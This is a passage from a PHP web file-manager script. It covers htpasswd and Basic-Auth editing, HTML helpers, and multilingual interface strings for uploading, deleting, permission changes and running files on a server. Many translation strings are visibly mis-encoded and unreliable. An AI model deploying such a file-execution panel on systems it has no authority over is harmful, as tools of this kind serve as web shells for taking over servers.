echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo "Require valid-user";
}
echo "</textarea>\r\n\r\n\t<hr />\r\n";
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
$size = strlen($content) + 5;
if ($size < 30) {
$size = 30;
}
return $size;
}
function request_dump()
{
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html($string)
{
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
global $words;
static $search;
if (!is_array($search)) {
for ($i = 1; $i <= 8; $i++) {
$search[] = "%{$i}";
}
}
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
global $word_charset, $date_format;
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Gr\xd9\x90\xd9\x83e", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausf\xc3\xbchren", "create_symlink" => "Symlink erstellen", "delete" => "l\xd9\x90schen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zur\xc3\xbccksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zur\xc3\xbcck", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzuf\xc3\xbcgen", "add_basic_auth" => "HTTP-Basic-Auth hinzuf\xc3\xbcgen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gel\xd9\x90scht werden?", "deleted" => "Folgende Dateien wurden gel\xd9\x90scht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gel\xd9\x90scht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgef\xc3\xbchrt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgef\xc3\xbchrt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte f\xc3\xbcr \"[%1]\":", "permission_set" => "Die Rechte f\xc3\xbcr \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte f\xc3\xbcr \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
case 'fr':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "R\xc3\xa9pertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propri\xc3\xa9taire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Ex\xc3\xa9cuter", "create_symlink" => "Cr\xc3\xa9er lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "D\xc3\xa9placer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "T\xc3\xa9l\xc3\xa9charger sur PC", "upload" => "T\xc3\xa9l\xc3\xa9charger sur serveur", "create" => "Cr\xc3\xa9er", "change" => "Changer", "save" => "Sauvegarder", "set" => "Ex\xc3\xa9cuter", "reset" => "R\xc3\xa9initialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "already_exists" => "\"[%1]\" existe d\xc3\xa9j\xc3\xa0.", "created" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9\xc3\xa9.", "not_created" => "\"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9tuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu \xc3\xaatre d\xc3\xa9truits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 renomm\xc3\xa9 en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu \xc3\xaatre renomm\xc3\xa9 en \"[%2]\".", "move_files" => "D\xc3\xa9placer ces fichiers:", "moved" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu \xc3\xaatre d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu \xc3\xaatre copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut \xc3\xaatre ouvert.", "executed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 brillamment ex\xc3\xa9cut\xc3\xa9 :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu \xc3\xaatre ex\xc3\xa9cut\xc3\xa9:\n{%2}", "saved" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 sauvegard\xc3\xa9.", "not_saved" => "\"[%1]\" n a pas pu \xc3\xaatre sauvegard\xc3\xa9.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9e.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont \xc3\xa9t\xc3\xa9 chang\xc3\xa9s en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu \xc3\xaatre chang\xc3\xa9s en[%2].", "not_readable" => "\"[%1]\" ne peut pas \xc3\xaatre ouvert.");
case 'it':
$date_format = 'd-m-Y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" \xc3\xa8 stato caricato.", "not_uploaded" => "\"[%1]\" non \xc3\xa8 stato caricato.", "already_exists" => "\"[%1]\" esiste gi\xc3\xa0.", "created" => "\"[%1]\" \xc3\xa8 stato creato.", "not_created" => "\"[%1]\" non \xc3\xa8 stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" \xc3\xa8 stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non \xc3\xa8 stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non pu\xd9\x8d essere modificato.", "executed" => "\"[%1]\" \xc3\xa8 stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non \xc3\xa8 stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" \xc3\xa8 stato salvato.", "not_saved" => "\"[%1]\" non \xc3\xa8 stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" \xc3\xa8 stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non \xc3\xa8 stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non pu\xd9\x8d essere letto.");
case 'nl':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
case 'se':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "S\xd9\x86kerhetsniv\xd9\x87", "owner" => "\xd8\xa4gare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "L\xd9\x86s", "write" => "Skriv", "execute" => "Utf\xd9\x90r", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "\xd8\xa4ndra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "\xd8\xa4ndra", "save" => "Spara", "set" => "Markera", "reset" => "T\xd9\x90m", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Anv\xd9\x86ndare", "password" => "L\xd9\x90senord", "add" => "L\xd9\x86gg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De h\xd9\x86r filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn p\xd9\x87 fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte d\xd9\x90pas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte \xd9\x86ndras.", "executed" => "\"[%1]\" har utf\xd9\x90rts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utf\xd9\x90ras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink fr\xd9\x87n \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink fr\xd9\x87n \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "R\xd9\x86ttigheter f\xd9\x90r \"[%1]\":", "permission_set" => "R\xd9\x86ttigheter f\xd9\x90r \"[%1]\" \xd9\x86ndrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte l\xd9\x86sas.");
case 'sp':
$date_format = 'j/n/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tama\xd9\x8co", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecuci\xd9\x8en", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atr\xd9\x84s", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificaci\xd9\x8en b\xd9\x84sica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "\xd8\x9fBorra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser le\xd9\x8ado.");
case 'dk':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "St\xd9\x91rrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "l\xd9\x88s", "write" => "skriv", "execute" => "k\xd9\x91r", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omd\xd9\x91b", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "s\xd9\x88t", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilf\xd9\x91j", "add_basic_auth" => "tilf\xd9\x91j grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omd\xd9\x91d fil:", "renamed" => "\"[%1]\" er blevet omd\xd9\x91bt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omd\xd9\x91bes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet k\xd9\x91rt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke k\xd9\x91res korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke s\xd9\x88ttes til [%2].", "not_readable" => "\"[%1]\" Kan ikke l\xd9\x88ses.");
case 'tr':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Klas\xd9\x90r", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "\xc3\xa7alistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "d\xc3\xbczenle", "download" => "indir", "upload" => "y\xc3\xbckle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola g\xd9\x90re", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "K\xe2\x80\x8esa yol", "no_output" => "\xc3\xa7ikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" y\xc3\xbcklendi.", "not_uploaded" => "\"[%1]\" y\xc3\xbcklenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" d\xc3\xbczenlenemiyor.", "executed" => "\"[%1]\" basariyla \xc3\xa7alistirildi:\n{%2}", "not_executed" => "\"[%1]\" \xc3\xa7alistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e k\xe2\x80\x8esayol olu\xe2\x80\x8fturuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e k\xe2\x80\x8esayol olu\xe2\x80\x8fturulamad\xe2\x80\x8e.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
case 'cs':
$date_format = 'd.m.y H:i:s';
$word_charset = 'UTF-8';
return array("directory" => "Adres\xd8\xa3\xd8\x8c\xd8\xa5\xe2\x84\xa2", "file" => "Soubor", "filename" => "Jm\xd8\xa3\xc2\xa9no souboru", "size" => "Velikost", "permission" => "Pr\xd8\xa3\xd8\x8cva", "owner" => "Vlastn\xd8\xa3\xc2\xadk", "group" => "Skupina", "other" => "Ostatn\xd8\xa3\xc2\xad", "functions" => "Funkce", "read" => "\xd8\xa4\xc5\x92ten\xd8\xa3\xc2\xad", "write" => "Z\xd8\xa3\xd8\x8cpis", "execute" => "Spou\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban\xd8\xa3\xc2\xad", "create_symlink" => "Vytvo\xd8\xa5\xe2\x84\xa2it symbolick\xd8\xa3\xc2\xbd odkaz", "delete" => "Smazat", "rename" => "P\xd8\xa5\xe2\x84\xa2ejmenovat", "move" => "P\xd8\xa5\xe2\x84\xa2esunout", "copy" => "Zkop\xd8\xa3\xc2\xadrovat", "edit" => "Otev\xd8\xa5\xe2\x84\xa2\xd8\xa3\xc2\xadt", "download" => "St\xd8\xa3\xd8\x8chnout", "upload" => "Nahraj na server", "create" => "Vytvo\xd8\xa5\xe2\x84\xa2it", "change" => "Zm\xd8\xa4\xe2\x80\xbanit", "save" => "Ulo\xd8\xa5\xc2\xbeit", "set" => "Nastavit", "reset" => "zp\xd8\xa4\xe2\x80\xbat", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "Zp\xd8\xa4\xe2\x80\xbat", "destination" => "Destination", "symlink" => "Symbolick\xd8\xa3\xc2\xbd odkaz", "no_output" => "Pr\xd8\xa3\xd8\x8czdn\xd8\xa3\xc2\xbd v\xd8\xa3\xc2\xbdstup", "user" => "U\xd8\xa5\xc2\xbeivatel", "password" => "Heslo", "add" => "P\xd8\xa5\xe2\x84\xa2idat", "add_basic_auth" => "p\xd8\xa5\xe2\x84\xa2idej z\xd8\xa3\xd8\x8ckladn\xd8\xa3\xc2\xad autentizaci", "uploaded" => "Soubor \"[%1]\" byl nahr\xd8\xa3\xd8\x8cn na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahr\xd8\xa3\xd8\x8cn na server.", "already_exists" => "Soubor \"[%1]\" u\xd8\xa5\xc2\xbe exituje.", "created" => "Soubor \"[%1]\" byl vytvo\xd8\xa5\xe2\x84\xa2en.", "not_created" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt vytvo\xd8\xa5\xe2\x84\xa2en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymaz\xd8\xa3\xd8\x8cny tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt vytvo\xd8\xa5\xe2\x84\xa2eny:\n[%1]", "rename_file" => "P\xd8\xa5\xe2\x84\xa2ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl p\xd8\xa5\xe2\x84\xa2ejmenov\xd8\xa3\xd8\x8cn na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt p\xd8\xa5\xe2\x84\xa2ejmenov\xd8\xa3\xd8\x8cn na \"[%2]\".", "move_files" => "P\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadstit tyto soubory:", "moved" => "Tyto soubory byly p\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadst\xd8\xa4\xe2\x80\xbany do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt p\xd8\xa5\xe2\x84\xa2em\xd8\xa3\xc2\xadst\xd8\xa4\xe2\x80\xbany do \"[%2]\":\n[%1]", "copy_files" => "Zkop\xd8\xa3\xc2\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkop\xd8\xa3\xc2\xadrov\xd8\xa3\xd8\x8cny do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly b\xd8\xa3\xc2\xbdt zkop\xd8\xa3\xc2\xadrov\xd8\xa3\xd8\x8cny do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt otev\xd8\xa5\xe2\x84\xa2en.", "executed" => "SOubor \"[%1]\" byl spu\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban :\n{%2}", "not_executed" => "Soubor 